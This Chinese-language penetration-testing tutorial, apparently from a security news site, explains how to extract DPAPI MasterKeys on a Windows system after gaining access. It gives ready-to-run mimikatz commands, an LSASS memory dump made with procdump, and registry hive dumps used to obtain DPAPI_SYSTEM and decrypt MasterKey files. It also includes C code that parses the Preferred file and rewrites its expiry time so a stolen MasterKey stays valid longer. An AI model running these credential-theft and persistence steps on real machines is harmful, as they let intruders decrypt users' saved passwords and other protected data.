當前位置:
首頁 > 新聞 > 滲透技巧——獲取Windows系統下DPAPI中的MasterKey

滲透技巧——獲取Windows系統下DPAPI中的MasterKey

0x00前言

對於Windows系統,用戶的加密數據大都採用DPAPI進行存儲,而想要解密這些數據解,必須要獲得DPAPI對應的MasterKey。本文將會介紹在獲得了Windows系統的許可權後獲得MasterKey的方法,同時分析Preferred文件格式,延長MasterKey的有效期

0x01 簡介

本文將要介紹以下內容

基本概念

·獲得MasterKey的方法

·解析Preferred文件

·修改MasterKey失效時間

0x02 基本概念

DPAPI:

全稱Data Protection Application Programming Interface

作為Windows系統的一個數據保護介面被廣泛使用

主要用於保護加密的數據,常見的應用如:

·EFS文件加密

·存儲無線連接密碼

·Windows Credential Manager

·Internet Explorer

·Outlook

·Skype

·Windows CardSpace

·Windows Vault

·Google Chrome

Master Key:

64位元組,用於解密DPAPI blob,使用用戶登錄密碼、SID和16位元組隨機數加密後保存在Master Key file中

Master Key file:

二進位文件,可使用用戶登錄密碼對其解密,獲得Master Key

分為兩種:

·用戶Master Key file,位於%APPDATA%MicrosoftProtect\%SID%

·系統Master Key file,位於%WINDIR%System32MicrosoftProtectS-1-5-18User

Preferred文件:

位於Master Key file的同級目錄,顯示當前系統正在使用的MasterKey及其過期時間,默認90天有效期

0x03 獲得MasterKey的方法

本節主要介紹通過mimikatz獲得MasterKey的方法

1、在線獲取

通過讀取Lsass進程信息,獲取當前系統中的MasterKey,能獲得多個Master Key file對應的MasterKey

管理員許可權:

privilege::debug

sekurlsa::dpapi

如下圖

2、離線讀取

思路一:

使用procdump dump出LSASS進程內存

管理員許可權:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

使用mimikatz載入dmp文件並獲取各個Master Key file對應的MasterKey:

sekurlsa::minidump lsass.dmp

sekurlsa::dpapi

思路二:

參考資料:

https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials

(1)複製註冊表文件

管理員許可權:

reg save HKLMSYSTEM SystemBkup.hiv

reg save HKLMSECURITY SECURITY.hiv

(2)從註冊表文件中獲得DPAPI_SYSTEM

mimikatz log "lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"

如下圖

DPAPI_SYSTEM中的user hash為c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3,能夠用來解密位於%WINDIR%System32MicrosoftProtectS-1-5-18User下的系統Master Key file

(3)解密系統Master Key file,獲得MasterKey

mimikatz "dpapi::masterkey /in:C:WindowsSystem32MicrosoftProtectS-1-5-18User4ece708-132d-4bf0-a647-e3329269a012 /system:c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3"

如下圖

0x04 解析Preferred文件

位於Master Key file的同級目錄,顯示當前系統正在使用的MasterKey file及其過期時間

格式如下:

typedef struct _tagPreferredMasterKey

{

GUID guidMasterKey;

FILETIME ftCreated;

} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;

例如C:UsersAppDataRoamingMicrosoftProtectS-1-5-21-2884853959-2080156797-250722187-1002Preferred

如下圖

前16位元組F6 B0 11 A1 D7 B4 C8 40 B5 36 67 2A 82 88 B9 58對應guid,調整格式後,對應文件為a111b0f6-b4d7-40c8-b536-672a8288b958

後8位元組D0 08 9F 7D 11 EC D3 01對應過期時間

對於表示時間的FILETIME,格式如下:

typedef struct _FILETIME {

DWORD dwLowDateTime;

DWORD dwHighDateTime;

} FILETIME, *PFILETIME;

想要顯示成日常使用的時間格式,需要將FILETIME類型轉成SYSTEMTIME類型

在程序實現上,還需要注意使用sscanf_s函數將字元串轉換為DWORD格式

可供參考的C代碼如下:

#include

int main(void)

{

FILE *fp;

unsigned char buf[24];

fopen_s(&fp,"Preferred","rb");

fread(buf,1,24,fp);

printf("Data: ");

for(int i=0;i

{

printf("%02x",buf[i]);

}

fclose(fp);

printf("
guidMasterKey: %02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x
",buf[3],buf[2],buf[1],buf[0],buf[5],buf[4],buf[7],buf[6],buf[8],buf[9],buf[10],buf[11],buf[12],buf[13],buf[14],buf[15]);

char lowDateTime[9],highDateTime[9];

sprintf_s(lowDateTime,9,"%02X%02X%02X%02X",buf[19],buf[18],buf[17],buf[16]);

sprintf_s(highDateTime,9,"%02X%02X%02X%02X",buf[23],buf[22],buf[21],buf[20]);

printf("dwLowDateTime:%s
",lowDateTime);

printf("dwHighDateTime:%s
",highDateTime);

FILETIME ftUTC;

SYSTEMTIME stUTC2;

sscanf_s(lowDateTime,"%x",&ftUTC.dwLowDateTime);

sscanf_s(highDateTime,"%x",&ftUTC.dwHighDateTime);

FileTimeToSystemTime(&ftUTC, &stUTC2);

printf("");

printf("Expiry time: %d-%d-%d %d:%d:%d
", stUTC2.wYear, stUTC2.wMonth, stUTC2.wDay, stUTC2.wHour, stUTC2.wMinute, stUTC2.wSecond);

return 0;

}

註:

也可以使用fread讀取int型數據來解決字元串倒序的問題

讀取Preferred文件,解析出當前系統正在使用的Master Key file的guid和過期時間

測試如下圖

0x05 修改MasterKey失效時間

修改思路:

輸入過期時間,將過期時間轉為FILETIME格式,替換Preferred文件的FILETIME

可供參考的c代碼如下:

#include

int main(void)

{

SYSTEMTIME st=;

FILETIME ft=;

printf("[+]Start to change expiry time...
");

st.wYear = 2019;

st.wMonth = 12;

st.wDay = 30;

st.wHour = 12;

st.wMinute = 30;

st.wSecond = 30;

printf("[+]New expiry time:%d-%d-%d %d:%d:%d
", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);

SystemTimeToFileTime(&st,&ft);

printf("dwLowDateTime:%08x
",ft.dwLowDateTime);

printf("dwHighDateTime:%08x
",ft.dwHighDateTime);

FILE *fp;

fopen_s(&fp,"Preferred","rb+");

fseek(fp,16,SEEK_SET);

fwrite(&ft.dwLowDateTime,sizeof(int),1,fp);

fwrite(&ft.dwHighDateTime,sizeof(int),1,fp);

fclose(fp);

printf("[+]Change success.
");

return 0;

}

讀取Preferred文件,將過期時間設置為2019-12-30 12:30:30

修改後重新讀取Preferred文件信息,成功修改,如下圖

0x06 小結

本文總結了在獲得了Windows系統的許可權後獲得MasterKey的方法,編寫程序自動分析Preferred文件格式並延長MasterKey的有效期


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

為什麼瀏覽器一直沒有默認啟用對 TLS 1.3 的支持

TAG:嘶吼RoarTalk |